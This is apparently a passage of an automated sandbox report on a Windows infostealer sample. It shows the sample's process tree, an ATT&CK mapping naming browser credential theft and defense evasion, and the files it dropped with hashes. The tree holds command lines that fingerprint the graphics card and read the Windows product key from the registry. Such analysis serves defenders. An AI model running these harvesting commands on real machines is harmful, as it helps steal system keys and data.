                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4184
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic path win32_VideoController get name
                              4⤵
                              • Detects videocard installed
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1288
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3596
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1388
                      • C:\Windows\system32\sihost.exe
                        sihost.exe
                        1⤵
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:3712
                        • C:\Windows\explorer.exe
                          explorer.exe /LOADSAVEDWINDOWS
                          2⤵
                          • Boot or Logon Autostart Execution: Active Setup
                          • Enumerates connected drives
                          • Checks SCSI registry key(s)
                          • Modifies Internet Explorer settings
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          • Suspicious use of SetWindowsHookEx
                          PID:2328
                      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                        1⤵
                        • Modifies registry class
                        • Suspicious use of SetWindowsHookEx
                        PID:5808
                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                        1⤵
                        • Modifies registry class
                        • Suspicious use of SetWindowsHookEx
                        PID:2580
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k GPSvcGroup
                        1⤵
                          PID:4192
                        • C:\Windows\System32\SecurityHealthHost.exe
                          \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                          1⤵
                            PID:2812

                          Network

                                MITRE ATT&CK Enterprise v16

                                Reconnaissance

                                Resource Development

                                Initial Access

                                Execution

                                Command and Scripting Interpreter

                                3
                                T1059

                                PowerShell

                                1
                                T1059.001

                                Windows Command Shell

                                1
                                T1059.003

                                Persistence

                                Boot or Logon Autostart Execution

                                1
                                T1547

                                Active Setup

                                1
                                T1547.014

                                Event Triggered Execution

                                1
                                T1546

                                Netsh Helper DLL

                                1
                                T1546.007

                                Privilege Escalation

                                Boot or Logon Autostart Execution

                                1
                                T1547

                                Active Setup

                                1
                                T1547.014

                                Event Triggered Execution

                                1
                                T1546

                                Netsh Helper DLL

                                1
                                T1546.007

                                Defense Evasion

                                Impair Defenses

                                2
                                T1562

                                Disable or Modify Tools

                                1
                                T1562.001

                                Modify Registry

                                2
                                T1112

                                Obfuscated Files or Information

                                1
                                T1027

                                Command Obfuscation

                                1
                                T1027.010

                                Credential Access

                                Credentials from Password Stores

                                1
                                T1555

                                Credentials from Web Browsers

                                1
                                T1555.003

                                Unsecured Credentials

                                1
                                T1552

                                Credentials In Files

                                1
                                T1552.001

                                Discovery

                                Browser Information Discovery

                                1
                                T1217

                                Peripheral Device Discovery

                                2
                                T1120

                                Process Discovery

                                1
                                T1057

                                Query Registry

                                3
                                T1012

                                System Information Discovery

                                5
                                T1082

                                System Network Configuration Discovery

                                2
                                T1016

                                Internet Connection Discovery

                                1
                                T1016.001

                                Wi-Fi Discovery

                                1
                                T1016.002

                                Lateral Movement

                                Collection

                                Clipboard Data

                                1
                                T1115

                                Data from Local System

                                1
                                T1005

                                Command and Control

                                Exfiltration

                                Impact

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                StartupProfileData-NonInteractive
                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                StartupProfileData-NonInteractive
                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                StartupProfileData-NonInteractive
                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 5adbba44c5a572bc694cd79450eedb44a3ef4d41f02217219900527525286d19
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                StartupProfileData-NonInteractive
                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 dd3e23a0f38b25911578eda470771eb68400755c8504293e7bb61cbabc292edb
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                prep_Activatable Class_Hermes_perf.cache
                                • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                • Size 599B
                                • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                RESB404.tmp
                                • Path C:\Users\Admin\AppData\Local\Temp\RESB404.tmp
                                • Size 1KB
                                • SHA256 4bab51826d49197f378b7637d59c93d51251f16496346af7e2af965d7c2e3176
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                VCRUNTIME140.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\VCRUNTIME140.dll
                                • Size 117KB
                                • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                VCRUNTIME140_1.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\VCRUNTIME140_1.dll
                                • Size 48KB
                                • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _bz2.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_bz2.pyd
                                • Size 51KB
                                • SHA256 31bbbd635917ffc659a59b22d32fa0943edb0d52c07b1a4db02361e63f5c7f70
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _ctypes.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_ctypes.pyd
                                • Size 67KB
                                • SHA256 1b1d2ed69e1553c43d211718bf6d22c7c145544bb6f06fc47257f75b6295968b
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _hashlib.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_hashlib.pyd
                                • Size 38KB
                                • SHA256 c8e4b1192e1d0471dc985b0427001ae63f2a833fe5c44ceee52e6913f10e8b8f
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _lzma.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_lzma.pyd
                                • Size 88KB
                                • SHA256 eac919e74adf32313ab00ee563c0bff042aadef6418be0b2b16bbfdb1a67add8
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _queue.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_queue.pyd
                                • Size 28KB
                                • SHA256 ef2c488ec5d544b217a4efdb02e699610333e6cab146084db418d9b5c7e143fa
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _socket.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_socket.pyd
                                • Size 46KB
                                • SHA256 b4de3cbb5096a2845398989269bb4dc6924b720e4c999e9458608864f2b0cf4a
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _sqlite3.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_sqlite3.pyd
                                • Size 61KB
                                • SHA256 cffdf0710c1a935043b10af50374bb01aceb71609ecdad2498cecee69fbd7ded
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _ssl.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_ssl.pyd
                                • Size 69KB
                                • SHA256 6dc920a676cfcd97ff95c90c5890930d245f8cf298d48177fc4a206cf0c8f76c
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _wmi.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_wmi.pyd
                                • Size 30KB
                                • SHA256 e8a04aff683766570dae911bfc19ec31cb2bb97a9e10bdee78d9d60c98198923
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _zstd.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\_zstd.pyd
                                • Size 176KB
                                • SHA256 63c5e33d54f99d74219a09743a87904926fdd75e013ca23abc5ca04683842fd0
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                base_library.zip
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\base_library.zip
                                • Size 1.3MB
                                • SHA256 f761eadb9e44905cceddc84a4781d1d6aa087f250c1b3c6b1a671bf42c6b7d57
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                blank.aes
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\blank.aes
                                • Size 97KB
                                • SHA256 083b422df1fd7fbe041e37372cde7bc61cfdbd5b9fcfe01e3ee7e605fb26df92
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                libcrypto-3.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\libcrypto-3.dll
                                • Size 1.6MB
                                • SHA256 5fdac609f40e3676cd6e7450f2a440934e47e89be0ee125307488ec647295739
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                libffi-8.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\libffi-8.dll
                                • Size 29KB
                                • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                libssl-3.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\libssl-3.dll
                                • Size 369KB
                                • SHA256 151d841ce73d817ee966a20393f1d4a63197cb2d62ffe6c75aac1674051217d7
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                python314.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\python314.dll
                                • Size 1.9MB
                                • SHA256 db6ce6906d8f9c758d3ad3411198d867dcc300ebca3b51fba487f9725082707f
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                rar.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\rar.exe
                                • Size 615KB
                                • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                rarreg.key
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\rarreg.key
                                • Size 456B
                                • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                select.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\select.pyd
                                • Size 28KB
                                • SHA256 092dc7a764d800c088091d5da4fa38802ee29a875551c949e2eafde75047ea9d
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                Lorem ipsum.txt
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
                                • Size 1KB
                                • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                sqlite3.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\sqlite3.dll
                                • Size 663KB
                                • SHA256 dcd24a28b0064b3df0b065ecc6c41a5d2c75522b3776526598d022428172a116
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                ucrtbase.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\ucrtbase.dll
                                • Size 1.1MB
                                • SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                unicodedata.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011542\unicodedata.pyd
                                • Size 277KB
                                • SHA256 af117c8d84fd18da9e5d73f27c429717254a0fec3af56f971861f97a6710e7a4
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                __PSScriptPolicyTest_girt5a3y.fgh.ps1
                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_girt5a3y.fgh.ps1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                h3t0j2zk.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\h3t0j2zk\h3t0j2zk.dll
                                • Size 4KB
                                • SHA256 171a7008dbbf83a8978e35f7942e1b0a585ca286c397e7743a11f4008a203175
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                FindSearch.xlsx
                                • Path C:\Users\Admin\AppData\Local\Temp\  ‌‌​ ​​‍ \Common Files\Desktop\FindSearch.xlsx
                                • Size 626KB
                                • SHA256 0c10223932aeb3ff1bdd7f9e6ea446ff4f21d8fddd4643e4657dbea8917dd28e
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                InitializeBackup.au
                                • Path C:\Users\Admin\AppData\Local\Temp\  ‌‌​ ​​‍ \Common Files\Desktop\InitializeBackup.au
                                • Size 607KB
                                • SHA256 75cdbb3257bbdef57ae94456ff8c04944800443125904a205c3272cee8a40b76
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                InitializeUpdate.docx
                                • Path C:\Users\Admin\AppData\Local\Temp\  ‌‌​ ​​‍ \Common Files\Desktop\InitializeUpdate.docx
                                • Size 16KB
                                • SHA256 63917beaa277f8b885958c4301be55bc0a39d2a60ffab244bdb4a2f67ea5f9f0
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                PingStart.docx
                                • Path C:\Users\Admin\AppData\Local\Temp\  ‌‌​ ​​‍ \Common Files\Desktop\PingStart.docx
                                • Size 13KB
                                • SHA256 a03768f42171f170ed4f7052199bbef67df57afee0c90a6852898b88831bc575
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                ResumeMove.jpg
                                • Path C:\Users\Admin\AppData\Local\Temp\  ‌‌​ ​​‍ \Common Files\Desktop\ResumeMove.jpg
                                • Size 724KB
                                • SHA256 1af020ccd2dd6af56bf1b6cba0ac16828136cdb5e808008b420a4635f090168e
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                EnableUnpublish.docx
                                • Path C:\Users\Admin\AppData\Local\Temp\  ‌‌​ ​​‍ \Common Files\Documents\EnableUnpublish.docx
                                • Size 14KB
                                • SHA256 ffe44ba4f7249af310df3e1bcde3acd705384816509c354813d011f6d65f90cd
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                ProtectConnect.docx
                                • Path C:\Users\Admin\AppData\Local\Temp\  ‌‌​ ​​‍ \Common Files\Documents\ProtectConnect.docx
                                • Size 16KB
                                • SHA256 3e17a4c9ec2ca867e74f986df8ac3ded5730d200f4e70521c30663c897774cbf
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                RenameRedo.txt
                                • Path C:\Users\Admin\AppData\Local\Temp\  ‌‌​ ​​‍ \Common Files\Documents\RenameRedo.txt
                                • Size 670KB
                                • SHA256 3eca860c2ff8e6b84a422246a39d5c30e5ab905429832165e9e8a3666ef915e4
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                CSC95B72CFE74E04BC7BC9E4314C7DCC94.TMP
                                • Path \??\c:\Users\Admin\AppData\Local\Temp\h3t0j2zk\CSC95B72CFE74E04BC7BC9E4314C7DCC94.TMP
                                • Size 652B
                                • SHA256 8542c85e8973c8a65f1f001de0bfca1fcc60cd830ee8a8941e0309744db1c6b0
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                h3t0j2zk.0.cs
                                • Path \??\c:\Users\Admin\AppData\Local\Temp\h3t0j2zk\h3t0j2zk.0.cs
                                • Size 1004B
                                • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                h3t0j2zk.cmdline
                                • Path \??\c:\Users\Admin\AppData\Local\Temp\h3t0j2zk\h3t0j2zk.cmdline
                                • Size 607B
                                • SHA256 9417448f44980831b3fa3255fdf43a112f0daac7690026d2e65cb75a94265922
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                memory/2016-139-0x0000020B9E480000-0x0000020B9E4A2000-memory.dmp
                                Download

                                memory/2016-145-0x0000020BB6660000-0x0000020BB667E000-memory.dmp
                                Download

                                memory/2016-146-0x0000020BB6940000-0x0000020BB69F2000-memory.dmp
                                Download

                                memory/2016-150-0x0000020BB6680000-0x0000020BB668A000-memory.dmp
                                Download

                                memory/2440-108-0x00007FFBA5280000-0x00007FFBA529A000-memory.dmp
                                Download

                                memory/2440-93-0x00007FFBA8DE0000-0x00007FFBA8DED000-memory.dmp
                                Download

                                memory/2440-149-0x00007FFBA7710000-0x00007FFBA771F000-memory.dmp
                                Download

                                memory/2440-134-0x00007FFB956B0000-0x00007FFB9576E000-memory.dmp
                                Download

                                memory/2440-160-0x00007FFB91130000-0x00007FFB91761000-memory.dmp
                                Download

                                memory/2440-161-0x00007FFBA4BB0000-0x00007FFBA4BE6000-memory.dmp
                                Download

                                memory/2440-163-0x00007FFBA7740000-0x00007FFBA7769000-memory.dmp
                                Download

                                memory/2440-162-0x00007FFB92090000-0x00007FFB9279D000-memory.dmp
                                Download

                                memory/2440-179-0x00007FFB9D350000-0x00007FFB9D4A3000-memory.dmp
                                Download

                                memory/2440-175-0x00007FFBA4B80000-0x00007FFBA4BA6000-memory.dmp
                                Download

                                memory/2440-177-0x00007FFBA4A90000-0x00007FFBA4A9D000-memory.dmp
                                Download

                                memory/2440-176-0x00007FFB99360000-0x00007FFB994EA000-memory.dmp
                                Download

                                memory/2440-128-0x00007FFBA4BF0000-0x00007FFBA4C70000-memory.dmp
                                Download

                                memory/2440-129-0x00007FFBA4A90000-0x00007FFBA4A9D000-memory.dmp
                                Download

                                memory/2440-125-0x00007FFB99360000-0x00007FFB994EA000-memory.dmp
                                Download

                                memory/2440-123-0x00007FFBA4B80000-0x00007FFBA4BA6000-memory.dmp
                                Download

                                memory/2440-114-0x00007FFB9D350000-0x00007FFB9D4A3000-memory.dmp
                                Download

                                memory/2440-73-0x00007FFB92090000-0x00007FFB9279D000-memory.dmp
                                Download

                                memory/2440-107-0x00007FFB92090000-0x00007FFB9279D000-memory.dmp
                                Download

                                memory/2440-112-0x00007FFBA4BB0000-0x00007FFBA4BE6000-memory.dmp
                                Download

                                memory/2440-313-0x00007FFBA4BB0000-0x00007FFBA4BE6000-memory.dmp
                                Download

                                memory/2440-316-0x00007FFB99360000-0x00007FFB994EA000-memory.dmp
                                Download

                                memory/2440-314-0x00007FFB9D350000-0x00007FFB9D4A3000-memory.dmp
                                Download

                                memory/2440-311-0x00007FFB91130000-0x00007FFB91761000-memory.dmp
                                Download

                                memory/2440-302-0x00007FFB92090000-0x00007FFB9279D000-memory.dmp
                                Download

                                memory/2440-111-0x00007FFBA7740000-0x00007FFBA7769000-memory.dmp
                                Download

                                memory/2440-103-0x00007FFB91130000-0x00007FFB91761000-memory.dmp
                                Download

                                memory/2440-101-0x00007FFBA52A0000-0x00007FFBA52B4000-memory.dmp
                                Download

                                memory/2440-97-0x00007FFBA7710000-0x00007FFBA771F000-memory.dmp
                                Download

                                memory/2440-153-0x00007FFBA52A0000-0x00007FFBA52B4000-memory.dmp
                                Download

                                memory/2440-89-0x00007FFBA4BF0000-0x00007FFBA4C70000-memory.dmp
                                Download

                                memory/2440-87-0x00007FFBA5310000-0x00007FFBA533C000-memory.dmp
                                Download

                                memory/2440-84-0x00007FFBA7720000-0x00007FFBA773A000-memory.dmp
                                Download

                                memory/2440-80-0x00007FFBA9000000-0x00007FFBA900F000-memory.dmp
                                Download

                                memory/2440-78-0x00007FFBA7740000-0x00007FFBA7769000-memory.dmp
                                Download

                                memory/2440-340-0x00007FFBA7740000-0x00007FFBA7769000-memory.dmp
                                Download

                                memory/2440-342-0x00007FFBA7720000-0x00007FFBA773A000-memory.dmp
                                Download

                                memory/2440-346-0x00007FFBA7710000-0x00007FFBA771F000-memory.dmp
                                Download

                                memory/2440-352-0x00007FFBA4B80000-0x00007FFBA4BA6000-memory.dmp
                                Download

                                memory/2440-355-0x00007FFB956B0000-0x00007FFB9576E000-memory.dmp
                                Download

                                memory/2440-354-0x00007FFBA4A90000-0x00007FFBA4A9D000-memory.dmp
                                Download

                                memory/2440-353-0x00007FFB99360000-0x00007FFB994EA000-memory.dmp
                                Download

                                memory/2440-351-0x00007FFB9D350000-0x00007FFB9D4A3000-memory.dmp
                                Download

                                memory/2440-348-0x00007FFB91130000-0x00007FFB91761000-memory.dmp
                                Download

                                memory/2440-350-0x00007FFBA4BB0000-0x00007FFBA4BE6000-memory.dmp
                                Download

                                memory/2440-349-0x00007FFBA5280000-0x00007FFBA529A000-memory.dmp
                                Download

                                memory/2440-347-0x00007FFBA52A0000-0x00007FFBA52B4000-memory.dmp
                                Download

                                memory/2440-345-0x00007FFBA8DE0000-0x00007FFBA8DED000-memory.dmp
                                Download

                                memory/2440-344-0x00007FFBA4BF0000-0x00007FFBA4C70000-memory.dmp
                                Download

                                memory/2440-341-0x00007FFBA9000000-0x00007FFBA900F000-memory.dmp
                                Download

                                memory/2440-339-0x00007FFB92090000-0x00007FFB9279D000-memory.dmp
                                Download

                                memory/2440-343-0x00007FFBA5310000-0x00007FFBA533C000-memory.dmp
                                Download

                                memory/2544-259-0x0000021F29F30000-0x0000021F29F38000-memory.dmp
                                Download

                                memory/5808-357-0x000002CA599B0000-0x000002CA59AB0000-memory.dmp
                                Download

                                memory/5808-370-0x000002D25E840000-0x000002D25E860000-memory.dmp
                                Download

                                memory/5808-385-0x000002D26F2A0000-0x000002D26F2C0000-memory.dmp
                                Download

                                memory/5808-365-0x000002D26EA20000-0x000002D26EB20000-memory.dmp
                                Download

                                memory/5808-364-0x000002D25BFE0000-0x000002D25C000000-memory.dmp
                                Download

                                memory/5808-359-0x000002CA599B0000-0x000002CA59AB0000-memory.dmp
                                Download

                                memory/5808-358-0x000002CA599B0000-0x000002CA59AB0000-memory.dmp
                                Download